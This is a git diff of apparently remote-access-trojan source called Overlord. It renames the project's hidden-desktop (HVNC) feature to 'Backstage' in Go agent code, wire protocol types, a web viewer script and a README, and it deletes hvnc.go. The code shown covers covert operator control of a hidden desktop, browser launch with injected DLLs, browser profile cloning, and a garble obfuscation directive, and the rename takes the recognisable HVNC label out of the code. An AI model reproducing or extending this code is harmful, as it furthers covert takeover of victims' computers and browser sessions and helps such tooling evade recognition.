- Type: "hvnc_clone_progress", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{ + Type: "backstage_clone_progress", Browser: browser, Percent: percent, CopiedBytes: copiedBytes, @@ -2039,24 +2039,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } onDXGIStatus := func(success bool, gpuPID uint32, message string) { - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{ - Type: "hvnc_dxgi_status", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageDXGIStatus{ + Type: "backstage_dxgi_status", Success: success, GPUPid: gpuPID, Message: message, }) } onLaunchStatus := func(step string, success bool, detail string) { - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{ - Type: "hvnc_browser_launch_status", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{ + Type: "backstage_browser_launch_status", Browser: browser, Step: step, Success: success, Detail: detail, }) } - if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil { - log.Printf("hvnc: browser injected failed for %q: %v", browser, err) + if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil { + log.Printf("backstage: browser injected failed for %q: %v", browser, err) } }) return nil @@ -2178,7 +2178,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil case "virtual_request_keyframe": log.Printf("hidden: request full frame") - capture.RequestHVNCFullFrame() + capture.RequestbackstageFullFrame() sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_mouse_move": @@ -2302,9 +2302,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") goSafe("virtual_window_list", nil, func() { windows, monitors := capture.VirtualEnumWindows() - winEntries := make([]wire.HVNCWindowEntry, 0, len(windows)) + winEntries := make([]wire.BackstageWindowEntry, 0, len(windows)) for _, w := range windows { - winEntries = append(winEntries, wire.HVNCWindowEntry{ + winEntries = append(winEntries, wire.BackstageWindowEntry{ Title: w.Title, X: w.X, Y: w.Y, @@ -2315,9 +2315,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in Monitor: w.Monitor, }) } - monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors)) + monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors)) for _, m := range monitors { - monEntries = append(monEntries, wire.HVNCMonitorEntry{ + monEntries = append(monEntries, wire.BackstageMonitorEntry{ Index: m.Index, Name: m.Name, X: m.X, @@ -2327,8 +2327,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in Primary: m.Primary, }) } - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{ - Type: "hvnc_window_list_result", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{ + Type: "backstage_window_list_result", Windows: winEntries, Monitors: monEntries, }) diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher.go b/Overlord-Client/cmd/agent/handlers/dispatcher.go index 6af0837..31244f2 100644 --- a/Overlord-Client/cmd/agent/handlers/dispatcher.go +++ b/Overlord-Client/cmd/agent/handlers/dispatcher.go @@ -71,8 +71,8 @@ func isInputCommand(cmdType string) bool { switch cmdType { case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel", "desktop_key_down", "desktop_key_up", "desktop_text", - "hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up", - "hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up": + "backstage_mouse_move", "backstage_mouse_down", "backstage_mouse_up", + "backstage_mouse_wheel", "backstage_key_down", "backstage_key_up": return true } return false diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go deleted file mode 100644 index 9c3e687..0000000 --- a/Overlord-Client/cmd/agent/handlers/hvnc.go +++ /dev/null @@ -1,129 +0,0 @@ -package handlers - -import ( - "context" - "log" - "overlord-client/cmd/agent/capture" - rt "overlord-client/cmd/agent/runtime" - "sync" - "sync/atomic" - "time" -) - -var ( - hvncPersistedDisplayValue int - hvncPersistedDisplayMu sync.Mutex - hvncTargetFPS atomic.Int64 -) - -func persistHVNCDisplaySelection(display int) { - hvncPersistedDisplayMu.Lock() - hvncPersistedDisplayValue = display - hvncPersistedDisplayMu.Unlock() -} - -func GetPersistedHVNCDisplay() int { - hvncPersistedDisplayMu.Lock() - defer hvncPersistedDisplayMu.Unlock() - return hvncPersistedDisplayValue -} - -func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { - //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 - fps := activeHVNCTargetFPS() - interval := time.Second / time.Duration(fps) - capture.SetH264TargetFPS(fps) - capture.SetFrameFlowTargetFPS(fps) - log.Printf("hvnc: starting stream (target fps %d)", fps) - - if err := capture.InitializeHVNCDesktop(); err != nil { - log.Printf("hvnc: failed to initialize hidden desktop: %v", err) - return err - } - - if autoStartExplorer { - goSafe("hvnc auto-start explorer", nil, func() { - if err := capture.HVNCAutoStartExplorer(); err != nil { - log.Printf("hvnc: auto-start explorer error: %v", err) - } - }) - } - - ticker := time.NewTicker(interval) - defer ticker.Stop() - currentFPS := fps - for { - select { - case <-ctx.Done(): - log.Printf("hvnc: stopping stream") - capture.CleanupHVNCDesktop() - return nil - case <-ticker.C: - fps := activeHVNCTargetFPS() - if fps != currentFPS { - currentFPS = fps - capture.SetH264TargetFPS(fps) - capture.SetFrameFlowTargetFPS(fps) - ticker.Reset(time.Second / time.Duration(fps)) - log.Printf("hvnc: target fps changed to %d", fps) - } - if err := capture.NowHVNC(ctx, env); err != nil { - if ctx.Err() != nil { - log.Printf("hvnc: stopping stream") - capture.CleanupHVNCDesktop() - return nil - } - log.Printf("hvnc: capture error: %v", err) - } - } - } -} - -func activeHVNCTargetFPS() int { - if fps := int(hvncTargetFPS.Load()); fps > 0 { - return fps - } - _, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120) - return SetHVNCTargetFPS(fps) -} - -func SetHVNCTargetFPS(fps int) int { - fps = clampDesktopTargetFPS(fps) - hvncTargetFPS.Store(int64(fps)) - capture.SetH264TargetFPS(fps) - capture.SetFrameFlowTargetFPS(fps) - return fps -} - -func HVNCSelect(ctx context.Context, env *rt.Env, display int) error { - prev := env.HVNCSelectedDisplay - maxDisplays := capture.HVNCMonitorCount() - if display < 0 || display >= maxDisplays { - log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1) - display = 0 - } - env.HVNCSelectedDisplay = display - - persistHVNCDisplaySelection(display) - log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display) - return nil -} - -func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error { - env.HVNCMouseControl = enabled - log.Printf("hvnc: mouse control %v", enabled) - return nil -} - -func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error { - env.HVNCKeyboardControl = enabled - log.Printf("hvnc: keyboard control %v", enabled) - return nil -} - -func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error { - env.HVNCCursorCapture = enabled - capture.SetHVNCCursorCapture(enabled) - log.Printf("hvnc: cursor capture %v", enabled) - return nil -} diff --git a/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go b/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go deleted file mode 100644 index 95ab5bf..0000000 --- a/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build !windows - -package handlers - -func setCursorPosHVNC(x, y int32) {} -func sendMouseDownHVNC(button int) {} -func sendMouseUpHVNC(button int) {} -func sendKeyDownHVNC(vk uint16) {} -func sendKeyUpHVNC(vk uint16) {} -func keyCodeToVKHVNC(code string) uint16 { return 0 } diff --git a/Overlord-Client/cmd/agent/handlers/installed_apps_windows.go b/Overlord-Client/cmd/agent/handlers/installed_apps_windows.go index 17fc773..6e71ba2 100644 --- a/Overlord-Client/cmd/agent/handlers/installed_apps_windows.go +++ b/Overlord-Client/cmd/agent/handlers/installed_apps_windows.go @@ -417,7 +417,7 @@ type appWithIcon struct { func getInstalledAppsWithIcons() []appWithIcon { apps := enumerateInstalledApps() - log.Printf("hvnc: enumerated %d installed apps, extracting icons", len(apps)) + log.Printf("backstage: enumerated %d installed apps, extracting icons", len(apps)) out := make([]appWithIcon, len(apps)) for i, app := range apps { diff --git a/Overlord-Client/cmd/agent/handlers/webrtc.go b/Overlord-Client/cmd/agent/handlers/webrtc.go index 38bf185..3fa14cb 100644 --- a/Overlord-Client/cmd/agent/handlers/webrtc.go +++ b/Overlord-Client/cmd/agent/handlers/webrtc.go @@ -25,8 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 { func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind { switch s, _ := payload["kind"].(string); s { - case "hvnc": - return webrtcpub.KindHVNC + case "backstage": + return webrtcpub.Kindbackstage case "webcam": return webrtcpub.KindWebcam case "audio": @@ -81,8 +81,8 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa // Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can // decode immediately instead of waiting for the next natural IDR. if hasVideo { - if kind == webrtcpub.KindHVNC { - capture.ResetPrevHVNC() + if kind == webrtcpub.Kindbackstage { + capture.ResetPrevbackstage() } else { capture.ResetPrev() } @@ -142,8 +142,8 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p return nil } if hasVideo { - if kind == webrtcpub.KindHVNC { - capture.ResetPrevHVNC() + if kind == webrtcpub.Kindbackstage { + capture.ResetPrevbackstage() } else { capture.ResetPrev() } diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go index 9bbf332..bf8864d 100644 --- a/Overlord-Client/cmd/agent/runtime/env.go +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -27,14 +27,14 @@ type Env struct { DesktopCancel context.CancelFunc DesktopDone chan struct{} DesktopMu sync.Mutex - // HVNC fields - HVNCSelectedDisplay int - HVNCMouseControl bool - HVNCKeyboardControl bool - HVNCCursorCapture bool - HVNCCancel context.CancelFunc - HVNCDone chan struct{} - HVNCMu sync.Mutex + // backstage fields + BackstageSelectedDisplay int + BackstageMouseControl bool + BackstageKeyboardControl bool + BackstageCursorCapture bool + BackstageCancel context.CancelFunc + BackstageDone chan struct{} + BackstageMu sync.Mutex // Virtual mode fields VirtualMouseControl bool VirtualKeyboardControl bool diff --git a/Overlord-Client/cmd/agent/webrtcpub/state.go b/Overlord-Client/cmd/agent/webrtcpub/state.go index 0b2fce5..0769d67 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/state.go +++ b/Overlord-Client/cmd/agent/webrtcpub/state.go @@ -10,7 +10,7 @@ type Kind string const ( KindDesktop Kind = "desktop" - KindHVNC Kind = "hvnc" + Kindbackstage Kind = "backstage" KindWebcam Kind = "webcam" KindAudio Kind = "audio" ) diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 3decdbf..bb40868 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -110,7 +110,7 @@ type FrameHeader struct { Monitor int `msgpack:"monitor"` FPS int `msgpack:"fps"` Format string `msgpack:"format"` - HVNC bool `msgpack:"hvnc,omitempty"` + Backstage bool `msgpack:"backstage,omitempty"` Webcam bool `msgpack:"webcam,omitempty"` } @@ -346,7 +346,7 @@ type WebcamDevices struct { Selected int `msgpack:"selected"` } -type HVNCCloneProgress struct { +type BackstageCloneProgress struct { Type string `msgpack:"type"` Browser string `msgpack:"browser"` Percent int `msgpack:"percent"` @@ -355,38 +355,38 @@ type HVNCCloneProgress struct { Status string `msgpack:"status"` } -type HVNCDXGIStatus struct { +type BackstageDXGIStatus struct { Type string `msgpack:"type"` Success bool `msgpack:"success"` GPUPid uint32 `msgpack:"gpuPid"` Message string `msgpack:"message"` } -type HVNCLookupResult struct { +type BackstageLookupResult struct { Type string `msgpack:"type"` Exe string `msgpack:"exe"` Path string `msgpack:"path"` Done bool `msgpack:"done"` } -type HVNCBrowserCheckResult struct { +type BackstageBrowserCheckResult struct { Type string `msgpack:"type"` Browsers map[string]bool `msgpack:"browsers"` } -type HVNCInstalledApp struct { +type BackstageInstalledApp struct { Name string `msgpack:"name"` ExePath string `msgpack:"exePath"` Icon string `msgpack:"icon"` } -type HVNCInstalledAppsResult struct { +type BackstageInstalledAppsResult struct { Type string `msgpack:"type"` - Apps []HVNCInstalledApp `msgpack:"apps"` + Apps []BackstageInstalledApp `msgpack:"apps"` Done bool `msgpack:"done"` } -type HVNCBrowserLaunchStatus struct { +type BackstageBrowserLaunchStatus struct { Type string `msgpack:"type"` Browser string `msgpack:"browser"` Step string `msgpack:"step"` @@ -394,7 +394,7 @@ type HVNCBrowserLaunchStatus struct { Detail string `msgpack:"detail"` } -type HVNCWindowEntry struct { +type BackstageWindowEntry struct { Title string `msgpack:"title"` X int `msgpack:"x"` Y int `msgpack:"y"` @@ -405,7 +405,7 @@ type HVNCWindowEntry struct { Monitor int `msgpack:"monitor"` } -type HVNCMonitorEntry struct { +type BackstageMonitorEntry struct { Index int `msgpack:"index"` Name string `msgpack:"name"` X int `msgpack:"x"` @@ -415,10 +415,10 @@ type HVNCMonitorEntry struct { Primary bool `msgpack:"primary"` } -type HVNCWindowListResult struct { +type BackstageWindowListResult struct { Type string `msgpack:"type"` - Windows []HVNCWindowEntry `msgpack:"windows"` - Monitors []HVNCMonitorEntry `msgpack:"monitors"` + Windows []BackstageWindowEntry `msgpack:"windows"` + Monitors []BackstageMonitorEntry `msgpack:"monitors"` } type ClipboardContent struct { diff --git a/Overlord-Desktop/README.md b/Overlord-Desktop/README.md index 4ba9b6c..2268a0c 100644 --- a/Overlord-Desktop/README.md +++ b/Overlord-Desktop/README.md @@ -8,7 +8,7 @@ A native desktop (fat) client for the Overlord server, built with [Tauri 2](http - Remembers your last server address across launches - TLS toggle for connecting to HTTPS or HTTP servers - Accepts self-signed certificates (Windows / WebView2 via `--ignore-certificate-errors`) -- `window.open` from the web UI (audio, console, HVNC, etc.) opens native popup windows that inherit the parent's session +- `window.open` from the web UI (audio, console, Backstage, etc.) opens native popup windows that inherit the parent's session - Cross-platform (macOS, Windows, Linux) ## Prerequisites @@ -64,7 +64,7 @@ Defaults: port **5173**, TLS **enabled**. ## Notes - **Self-signed certs:** handled via WebView2's `--ignore-certificate-errors` flag (Windows). On macOS/Linux the system webview does not currently expose an equivalent flag through Tauri's config — issue a trusted cert (e.g. mkcert / Let's Encrypt) for production use on those platforms. -- **Popups:** `window.open` calls from the web UI (audio, console, HVNC, etc.) are caught by Tauri's `on_new_window` handler and turned into real WebView2 popups. This is intentional — it's the only way the popup webview inherits the parent's auth cookie (which is `SameSite=Strict`). +- **Popups:** `window.open` calls from the web UI (audio, console, Backstage, etc.) are caught by Tauri's `on_new_window` handler and turned into real WebView2 popups. This is intentional — it's the only way the popup webview inherits the parent's auth cookie (which is `SameSite=Strict`). - **Footprint:** ~10 MB installer vs. ~80 MB for an Electron equivalent. ## Project Layout diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/backstage.js similarity index 83% rename from Overlord-Server/public/assets/hvnc.js rename to Overlord-Server/public/assets/backstage.js index 01c993e..60874a4 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/backstage.js @@ -16,7 +16,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s // for older bookmarked URLs. const virtualMode = ["virtual", "hidden"].includes(urlParams.get("mode")); - const allowed = await checkFeatureAccess("hvnc", clientId); + const allowed = await checkFeatureAccess("backstage", clientId); if (!allowed) return; const clientLabel = document.getElementById("clientLabel"); @@ -46,7 +46,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s location.host + "/api/clients/" + clientId + - "/hvnc/ws"; + "/backstage/ws"; } function connectWs() { @@ -90,14 +90,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const webrtcVideo = document.getElementById("webrtcVideo"); const canvas = document.getElementById("frameCanvas"); const canvasContainer = document.getElementById("canvasContainer"); - const contextMenu = document.getElementById("hvncContextMenu"); + const contextMenu = document.getElementById("backstageContextMenu"); const ctx = canvas.getContext("2d"); const agentFps = document.getElementById("agentFps"); const viewerFps = document.getElementById("viewerFps"); const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); const uiaCtrl = document.getElementById("uiaCtrl"); - const hvncResolutionSelect = document.getElementById("hvncResolutionSelect"); + const backstageResolutionSelect = document.getElementById("backstageResolutionSelect"); const targetFpsSelect = document.getElementById("targetFpsSelect"); let whepClient = null; let p2pClient = null; @@ -108,10 +108,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } function syncInputEnableState() { - if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); - if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); - if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked }); - pushHvncResolution(); + if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked }); + if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked }); + if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked }); + pushbackstageResolution(); } let activeClientId = clientId; let renderCount = 0; @@ -158,7 +158,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s function applySharedSettings(settings) { if (!settings || typeof settings !== "object") return; savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay; - setSelectValue(hvncResolutionSelect, settings.resolution); + setSelectValue(backstageResolutionSelect, settings.resolution); setSelectValue(targetFpsSelect, settings.targetFps); setSelectValue(webrtcMode, settings.webrtcMode); if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality); @@ -169,9 +169,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (typeof settings.preferH264 === "boolean") { prefersH264 = settings.preferH264 && typeof VideoDecoder === "function"; } - const cloneToggle = document.getElementById("hvncCloneToggle"); - const cloneLiteToggle = document.getElementById("hvncCloneLiteToggle"); - const killIfRunningToggle = document.getElementById("hvncKillIfRunningToggle"); + const cloneToggle = document.getElementById("backstageCloneToggle"); + const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle"); + const killIfRunningToggle = document.getElementById("backstageKillIfRunningToggle"); if (cloneToggle && typeof settings.cloneProfile === "boolean") cloneToggle.checked = settings.cloneProfile; if (cloneLiteToggle && typeof settings.cloneLite === "boolean") cloneLiteToggle.checked = settings.cloneLite; if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") { @@ -183,7 +183,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s function readSharedSettings() { return { display: Number(displaySelect?.value || 0), - resolution: hvncResolutionSelect?.value || "1080", + resolution: backstageResolutionSelect?.value || "1080", targetFps: Number(targetFpsSelect?.value || 120), quality: Number(qualitySlider?.value || 90), preferH264: !!prefersH264, @@ -192,14 +192,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s keyboard: !!kbdCtrl?.checked, clipboardSync: !!clipboardSyncCtrl?.checked, uia: !!uiaCtrl?.checked, - cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false, - cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true, - killIfRunning: document.getElementById("hvncKillIfRunningToggle")?.checked === true, + cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false, + cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true, + killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true, }; } - applySharedSettings(await loadSharedUiSettings("hvnc")); - const sharedSettingsSaver = createSharedUiSettingsSaver("hvnc", readSharedSettings); + applySharedSettings(await loadSharedUiSettings("backstage")); + const sharedSettingsSaver = createSharedUiSettingsSaver("backstage", readSharedSettings); if (codecH264) { codecH264.checked = prefersH264; @@ -382,12 +382,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s setStreamState("starting", "Reconnecting"); const mode = getWebrtcMode(); if (displaySelect && displaySelect.value !== undefined) { - sendCmd("hvnc_select_display", { + sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) || 0, }); } pushTargetFps(); - sendCmd("hvnc_start", { + sendCmd("backstage_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}), @@ -538,9 +538,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } } - function handleHVNCError(msg) { - const errorText = msg.error || msg.message || "Unknown HVNC error"; - console.error("hvnc: server error:", errorText); + function handlebackstageError(msg) { + const errorText = msg.error || msg.message || "Unknown backstage error"; + console.error("backstage: server error:", errorText); if (!launchStatusEl) return; if (launchHideTimer) { clearTimeout(launchHideTimer); @@ -580,7 +580,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } function requestBrowserCheck() { - sendCmd("hvnc_browser_check", {}); + sendCmd("backstage_browser_check", {}); } const installedAppsLoading = document.getElementById("installedAppsLoading"); @@ -604,7 +604,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (installedAppsGrid) installedAppsGrid.innerHTML = ""; if (installedAppsCount) installedAppsCount.textContent = ""; if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden"); - sendCmd("hvnc_installed_apps", {}); + sendCmd("backstage_installed_apps", {}); } function applyInstalledAppsFilter() { @@ -742,7 +742,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s btn.appendChild(nameSpan); btn.addEventListener("click", () => { - sendCmd("hvnc_start_process", { path: '"' + app.exePath + '"' }); + sendCmd("backstage_start_process", { path: '"' + app.exePath + '"' }); hideContextMenu(); }); installedAppsGrid.appendChild(btn); @@ -763,7 +763,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s return; } const msg = { type, ...payload }; - console.debug("hvnc: send", msg); + console.debug("backstage: send", msg); ws.send(encodeMsgpack(msg)); } @@ -774,7 +774,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } function onWebrtcState(label, state) { - console.debug(`hvnc webrtc[${label}]: state`, state); + console.debug(`backstage webrtc[${label}]: state`, state); if (state === "connected") { setStreamState("streaming", `Streaming (${label})`); } else if (state === "failed" || state === "disconnected") { @@ -829,7 +829,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s setWebrtcViewActive(true); startWebrtcFrameTicker(); } catch (err) { - console.warn("hvnc webrtc: WHEP start failed, falling back to canvas", err); + console.warn("backstage webrtc: WHEP start failed, falling back to canvas", err); setWebrtcViewActive(false); whepClient = null; } @@ -852,7 +852,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s setWebrtcViewActive(true); startWebrtcFrameTicker(); } catch (err) { - console.warn("hvnc webrtc: P2P start failed, falling back to canvas", err); + console.warn("backstage webrtc: P2P start failed, falling back to canvas", err); setWebrtcViewActive(false); const client = p2pClient; p2pClient = null; @@ -917,9 +917,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s function pushQuality(val) { const q = Number(val) || 90; const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg"); - console.debug("hvnc: pushQuality val=", val, "q=", q, "codec=", codec); + console.debug("backstage: pushQuality val=", val, "q=", q, "codec=", codec); setCodecModeLabel(codec, "requested"); - sendCmd("hvnc_set_quality", { quality: q, codec }); + sendCmd("backstage_set_quality", { quality: q, codec }); } function selectedTargetFps() { @@ -928,7 +928,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } function pushTargetFps() { - sendCmd("hvnc_set_fps", { fps: selectedTargetFps() }); + sendCmd("backstage_set_fps", { fps: selectedTargetFps() }); } if (targetFpsSelect) { @@ -942,7 +942,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (mode === "relayed" || mode === "p2p") { const q = Number(qualitySlider?.value) || 90; setCodecModeLabel("h264", "webrtc"); - sendCmd("hvnc_set_quality", { quality: q, codec: "h264", source: "webrtc" }); + sendCmd("backstage_set_quality", { quality: q, codec: "h264", source: "webrtc" }); return; } if (qualitySlider) { @@ -980,11 +980,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s prefersH264 = false; destroyVideoDecoder(); if (codecH264) codecH264.checked = false; - console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount); + console.warn("backstage: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount); const q = Number(qualitySlider?.value) || 90; setCodecModeLabel("jpeg", "fallback"); if (ws && ws.readyState === WebSocket.OPEN) { - sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" }); + sendCmd("backstage_set_quality", { quality: q, codec: "jpeg" }); } if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") { if (h264RetryTimer) clearTimeout(h264RetryTimer); @@ -1046,21 +1046,21 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } }, error: (err) => { - console.warn("hvnc: h264 decoder error", err); + console.warn("backstage: h264 decoder error", err); }, }); videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true }); return true; } catch (err) { - console.warn("hvnc: h264 decoder unavailable", err); + console.warn("backstage: h264 decoder unavailable", err); fallbackToJpegCodec(err); return false; } } displaySelect.addEventListener("change", function () { - console.debug("hvnc: select display", displaySelect.value); - sendCmd("hvnc_select_display", { + console.debug("backstage: select display", displaySelect.value); + sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10), }); sharedSettingsSaver.scheduleSave(); @@ -1076,7 +1076,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s startBtn.addEventListener("click", function () { const mode = getWebrtcMode(); if (displaySelect && displaySelect.value !== undefined) { - sendCmd("hvnc_select_display", { + sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) || 0, }); } @@ -1085,7 +1085,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s desiredStreaming = true; lastFrameAt = 0; setStreamState("starting", "Starting stream"); - sendCmd("hvnc_start", { + sendCmd("backstage_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}), @@ -1096,12 +1096,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s stopBtn.addEventListener("click", function () { desiredStreaming = false; setStreamState("stopping", "Stopping stream"); - sendCmd("hvnc_stop", {}); + sendCmd("backstage_stop", {}); stopAllWebrtc(); }); if (killAllBtn) { killAllBtn.addEventListener("click", function () { - sendCmd("hvnc_kill_all", {}); + sendCmd("backstage_kill_all", {}); }); } fullscreenBtn.addEventListener("click", function () { @@ -1114,29 +1114,29 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } }); mouseCtrl.addEventListener("change", function () { - sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); + sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked }); sharedSettingsSaver.scheduleSave(); }); kbdCtrl.addEventListener("change", function () { - sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); + sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked }); sharedSettingsSaver.scheduleSave(); }); if (uiaCtrl) { uiaCtrl.addEventListener("change", function () { - sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked }); + sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked }); sharedSettingsSaver.scheduleSave(); }); } - function pushHvncResolution() { - if (hvncResolutionSelect) { - const maxHeight = parseInt(hvncResolutionSelect.value, 10); - sendCmd("hvnc_set_resolution", { maxHeight: maxHeight }); + function pushbackstageResolution() { + if (backstageResolutionSelect) { + const maxHeight = parseInt(backstageResolutionSelect.value, 10); + sendCmd("backstage_set_resolution", { maxHeight: maxHeight }); } } - if (hvncResolutionSelect) { - hvncResolutionSelect.addEventListener("change", function () { - pushHvncResolution(); + if (backstageResolutionSelect) { + backstageResolutionSelect.addEventListener("change", function () { + pushbackstageResolution(); sharedSettingsSaver.scheduleSave(); }); } @@ -1234,7 +1234,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s hasCanvasBase = false; } if (blockCount > 0 && !hasCanvasBase) { - sendCmd("hvnc_request_keyframe", { reason: "viewer_missing_base" }); + sendCmd("backstage_request_keyframe", { reason: "viewer_missing_base" }); return; } @@ -1285,7 +1285,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s videoDecoder.decode(chunk); updateFpsDisplay(fps); } catch (err) { - console.warn("hvnc: h264 decode failed", err); + console.warn("backstage: h264 decode failed", err); fallbackToJpegCodec(err); } } @@ -1329,36 +1329,36 @@ import { createSharedUiSettingsSaver, 